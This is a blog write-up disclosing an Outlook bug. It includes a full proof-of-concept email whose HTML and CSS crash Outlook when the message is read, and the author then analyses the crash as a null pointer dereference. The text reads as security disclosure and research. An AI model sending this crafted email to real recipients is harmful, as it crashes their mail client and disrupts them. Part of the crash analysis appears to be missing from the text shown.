Source: https://justhaifei1.blogspot.ca/2017/03/an-interesting-outlook-bug.html When you send this email to someone, when he/she *just read* the email, Outlook will crash. MSRC told me that they think it's a non-exploitable bug and it seems that they are not going to fix it in near future, I'm releasing the details in this quick write-up, and hopefully, for an "old pedant" style open discussion about the exploitability as I still have some doubts.:-) The PoC could be as simple as the following, or you may download the .eml file below. Content-Type: multipart/alternative; boundary="===============111111111111== MIME-Version: 1.0 Subject: title From: aa@msft.com To: bb@msft.com --===============111111111111== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit plain text area --===============111111111111== Content-Type: text/html; charset="us-ascii" MIME-Version: 1.0 <html> <head> <style>body{display:none !important;}</style> </head> <body> <div> e </div> <div> <table> <tr height="1%"> </tr> </table> </div> <div> e </div> </body> </html> --===============111111111111==-- If you do some tests based on the PoC you will quickly figure out that the CSS code "<style>body{display:none !important;}</style>" is something important here. For example, if we remove this line, Outlook won't crash. This also suggests that the bug is related to some "CSS rendering" code in Outlook. The Crash The following crash should be observed on Office 2010 14.0.7177.5000, full updated as of March 21, 2017. In fact, I believe it affects all Outlook versions.

The "sub_3177CE19" does the job locating the data based on the 1st param (a pointer) and 2nd param (always be 0), and the data will be copied to the heap block pointed by the 3nd param. According to my tests, the copied bytes are always 0x00, so that's why it seems to be a null pointer dereference bug.
